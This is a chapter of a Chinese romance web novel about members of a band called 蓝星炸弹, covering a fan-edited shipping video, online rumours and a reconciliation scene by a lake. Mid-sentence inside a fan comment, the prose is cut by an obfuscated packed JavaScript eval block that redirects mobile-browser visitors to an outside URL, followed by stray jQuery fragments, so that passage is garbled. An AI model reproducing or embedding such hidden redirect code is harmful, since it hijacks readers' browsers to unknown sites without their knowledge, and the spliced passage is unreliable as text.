是一段从蓝星炸弹的演出、后台花絮、采访、VLOG里,剪出的十几个片段,拼凑在一起。
片段一。
演唱会上台前,其余人都往前走了。甜野原本也往前走着,察觉到项天歌没跟上,甜野特意倒退了几步,找到项天歌。等项天歌先走后,甜野再继续跟上。
搭配旁白,“不管是多么重要的舞台,他的眼睛永远在寻找她。”
片段二。
冬天的一次彩排,蓝星炸弹坐在后台,等待上一个乐队彩排完才上台。为了保证演出效果,项天歌穿得有些单薄。坐在椅子上,不禁打了个冷颤。其他人都没有反应,唯独甜野去了旁边,拿来一条薄毯递给项天歌,让项天歌裹着稍微保暖一些。
搭配旁白,“他自己可以挨冻,可他舍不得看到她挨冻,舍不得她受任何一点点伤害。”
片段三。
蓝星炸弹在海边拍摄画报。拍摄的间隙,几个人闲来无聊闹着玩,扔矿泉水瓶,看谁能立起来。先挑战的是武禹泽,没成功。随后是骆闻,也没成功。两个实力战将连着失败,大家都觉得这个游戏恐怕没人能通关。第三个轮到项天歌,闭眼祈祷后,扔出。矿泉水瓶稳稳立住。一群人兴奋地跳起来。项天歌第一时间看向甜野,甜野同样第一时间看向项天歌。
搭配旁白,“开心的时刻,会在下意识第一眼看向喜欢的人。这就是证据。”
……
辛未关掉视频。
赖熙遥是一直没看的,偏偏外放的声音总往耳朵里钻,刺耳。
商阅只是偶尔瞄了几眼。
至于武禹泽和骆闻那边,视频就没停过,旁白声音仍在空气里回响。
“说得是有道理,哈?”骆闻看得是真的快要相信了。
“我也觉得!而且两个人好配啊!”武禹泽附和,一股脑将手机伸出去,举到商阅眼前,“教授,你觉得他俩配不配?”
贴脸开大。
只有一瞬间的勇气才能做出这种事。
多犹豫一秒武禹泽就会退缩。
商阅却只是平静地望着屏幕。
“一个小天使,一个小太阳。”商阅面带些许微笑,“就……都是很好的人。”
武禹泽鬼使神差问了句,“那你祝福他们吗?”
没等商阅回答,辛未身体向前倾,推远了武禹泽的手机。
“恋综拍摄手法。”辛未判断,“往想要的方向剪辑,配一点音乐,配一点旁白,再来个慢动作,就能搞得跟真的一样。”
“但是……”武禹泽咽了口唾沫,“万一就是真的呢?”
辛未冷静回应,“这些不足以成为证据。”
武禹泽手心出了汗,“可你不觉得他们说得有点道理吗?小甜野和鹅姐之间,说不定就是互相喜……”
唰——
桌边的一声响动,打断了他们的谈话。赖熙遥站了起来,面无表情。
“出去透口气。”
后悔。武禹泽和骆闻最大的感受,是后悔。应该找个赖熙遥不在场的时候,再实施计划的。本来计划针对的就只是商阅一个人。这下好了,偏偏得罪了她。
武禹泽和骆闻齐齐回头。赖熙遥的背影越来越远,两个人的心里越来越怵。
手机里传来项天歌的消息:[他什么反应?]
武禹泽偷瞄对面的商阅,低头回复:[没什么特别的反应。]
项天歌:[那他怎么说?]
武禹泽:[说你是小太阳,甜野是小天使。]
项天歌:[就这样?]
武禹泽:[昂。]
什么啊,完全不在预料里的回答。项天歌脑袋朦朦胧胧。靠在角落里,透过折叠窗向外望去。项天歌看见赖熙遥往小码头方向走。忽然意识到了什么,项天歌绕过窗户,从侧门走了出去。
木栈道小码头,向月影湖里延伸了一小段距离,孤独矗立。已经是废弃的小码头了,被改造成了一小块赏月点。
赖熙遥独自靠着木栏杆,晚风吹拂。
项天歌走到了赖熙遥的身边。
两个女生的倒影映在波光粼粼的月亮旁。
“熙遥姐姐……”项天歌解释,“我和甜野之间完全没有什么。”
赖熙遥回应,“我知道。”
项天歌继续解释,“他刚才也并没有叫我上楼,我编的。”
赖熙遥回应,“我知道。”
事实其实都知道。
但就是心里堵了一口气。
项天歌抠动栏杆上凸出的木纹,“我只是想看看他的反应。”
赖熙遥猜测,“躲在玻璃屋里?”
“嗯,有个比较隐秘的角落。”项天歌反手指了下被树荫遮盖的玻璃屋。
赖熙遥问,“这么远,看得见?”
项天歌垂下眼睑。
只要是他,再远她都看得见。
“他……”项天歌嘟囔,“好像也没有什么特别的反应,还是那么平淡冷静。”
赖熙遥抹走被吹到嘴角的发丝,“他装的。”
……
项天歌没忍住,笑了出来。
一颗小石子不知被谁放到了木栏上。赖熙遥捡起来,随手扔进湖里。月亮变了形状。
“他顾虑的比较多。”赖熙遥手指抓了一股风,“之前有过一段失败的婚姻,现在还带了一个四岁的小孩。”
项天歌替商阅有些不甘心,“离过婚,跟有犯罪记录一样。”
明明结婚离婚是那么正常的事情。
项天歌没力气地趴到木栏上,“我主要是觉得,所有的现实问题都能解决,他有什么好顾虑的。”
赖熙遥侧头,看了看项天歌,“他就是对你有愧,过不了心里那道坎。”
“他是不是傻?”项天歌嘀咕,“有颜有钱有身材有学历有工作有乐队,他到底在自卑什么。”
越说越气。
项天歌转身,面对赖熙遥,询问,“熙遥姐姐,他是不是没我勇敢?”
赖熙遥提醒,“他也没你年轻。”
他比她大了整整一轮。“勇敢”这种东西,是会随着年龄增长而逐年消退的。
赖熙遥叹了口气,“人老了,干什么都心酸。”
项天歌抿唇,忍住没笑。其实是想反驳赖熙遥的。商阅也才34岁,也算年轻。但确实蛮喜欢看赖熙遥攻击商阅的。挺好玩。
手机震动,赖熙遥收到辛未的短信,是一张碳烤羊排的照片。
辛未:[不来我就吃了?]
赖熙遥:[别动。]
一边摁下发送键,一边转身准备离开。
栈道下,甜野正走到湖边。赖熙遥抬头,意外和甜野对视。甜野笑着踏上栈道,赖熙遥却只是礼貌性地颔首示意,往栈道下走,走过甜野身边。甜野回头望了一眼赖熙遥逐渐远去的背影,再反方向看了看正走过来的项天歌。
一头雾水。
“鹅姐。”甜野询问项天歌,“赖熙遥怎么了?”
“你不知道?”项天歌反问甜野,“你没看群消息?”
“什么消息?”甜野拿出了手机,点开群。
最新的一条消息,是武禹泽转发的帖子。
项天歌替甜野点开了帖子,“有人说我和你在一起了,传得到处都是。”
甜野愣住,“哈?”
什么跟什么。
是不是太无厘头了点。
“你自己看看吧。”项天歌跳下了栈道。
甜野的注意力全在帖子里。就地坐在栈道上,划拉屏幕里乱七八糟的内容。越看越懵。
黄色树叶飘落到甜野的肩膀上,被晚风吹起,又飘向了湖面。
甜野花了一点时间来消化帖子的内容。
再花了一点时间来澄清这一串谣言。
先是登录个人账号,连续发了两条郑重声明。
[我和鹅姐只是队友的关系。]
[她可是我尊敬的鹅姐。]
随后,甜野转换成小号,顶着“tt.1”的小名,游蹿在这几个热门话题下,选择最高热度的帖子留言。
tt.1:[甜野喜欢的不是项天歌吧?]
tt.1:[感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781018|206626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
觉甜野喜欢的类型应该是齐刘海、有雀斑、打架子鼓的女生。]
油炸大屁股:[@赖熙遥有人报你身份证号。]
……
甜野的脸热起来。
留言莫名吸引到了一大群同频的人。
别骂了在改:[CP也可以不用这么冷门。]
momo:[找到了!我失散多年的同担!]
三咩:[这么一说,这俩也不是不可以哈?]
博物馆游泳的水母:[这俩平时有交集吗?]
小黄油脆苹果:[之前在学校有看到过他们一起在食堂吃饭。]
77:[算了吧,宇宙岛和蓝星炸弹,谁和谁一起吃饭我都见过。]
我是绿灯:[也是哈,本来就是同门师姐弟,一起吃饭也正常。]
V婷婷:[内部人士透露,这俩私下交集不浅。]
爆炸桂花:[真的?我要尖叫了!]
本地小有名气的吴彦祖:[在甜歌下面磕别的CP不合适吧?]
momo:[正主发话啦!甜歌只是队友!]
巴黎淀粉肠:[@赖熙遥@甜野你们可以为了我莫名其妙在一起吗?]
甜_野:[谢谢大家的祝福,我和熙遥姐姐现在感情稳定,之后会找个合适的机会正式官宣。]
boomm:[@甜_野你个山寨货能不能别吓我!]
晚睡:[友情提示,甜野刚才在线。]
momo:[诶,那我们把这个话题搞火怎么样?]
大菲兔:[对诶!如果甜野辟谣,那就是假。如果甜野没辟谣,那就……]
甜野关掉了帖子。确认大号现在处于离线状态。
怎么可能辟谣。
装没看见好了。
心脏还是砰砰跳得厉害,脑袋也晕晕乎乎。
甜野缓了缓,慢慢站起来,拍掉衣角的细碎树枝。先是朝露营桌的方向望去。几乎都在。唯独赖熙遥没在。甜野视线挨着周围扫视一圈,没看见赖熙遥。再扫视一圈,终于在那棵椿树下,找到了赖熙遥。
赖熙遥正散漫地躺在一张摇椅上,戴着一副墨镜。
甜野走了过去。
“你在干什么?”甜野走到赖熙遥身边。
“晒月亮。”赖熙遥伸手,手背推搡甜野的腰,“走开,挡着我了。”
甜野一步也没挪。蹲下来,手臂搭到摇椅扶手上。
“我和鹅姐之间根本就没有什么。”甜野澄清,“网上全是很离谱的瞎编。”
赖熙遥没回应,继续晒着月亮。
甜野认真解释,“和鹅姐在冰淇淋店前的照片,当时是因为鹅姐头发上粘了冰淇淋,她自己弄了几次没弄掉,才让我帮忙的。”
赖熙遥仍旧没回应,一如既往地悠闲。
甜野于是解释得更详尽了。
“那个照片是被人处理过的。其实我手里拿着一大张纸巾隔着,但是被P掉了,弄成我……好像直接跟鹅姐接触的样子。”
“还搞出座机画质,故意引导人想歪。”
“替鹅姐弄冰淇淋的时候,鹅姐警告过我,叫我不准碰到她,男女有别。”
“我很无语。”
“我告诉鹅姐,我不可能碰到她。”
“因为我讲男德。”
赖熙遥仍旧没有反应。即便甜野罕见地说了这么一长串话。
“赖熙遥。”甜野强调,“你听到了吗?我、讲、男、德。”
赖熙遥还是保持着原样。
甜野心里有些着急,伸出手,摘下了赖熙遥的墨镜,露出了赖熙遥的眼睛。
对视。
下一秒钟,两个人都没忍住,笑场。
刚才,一个拼命严肃,一个拼命淡定。现在,好像熟人演戏被拆穿,实在忍不住笑。
赖熙遥移开视线,催促甜野,“快给我戴上。”
甜野不肯放弃,再一次强调,“你先回答我,你听到没有?我、讲、男、德。”
赖熙遥拉长了声音,回应。
“我、听、到、啦——”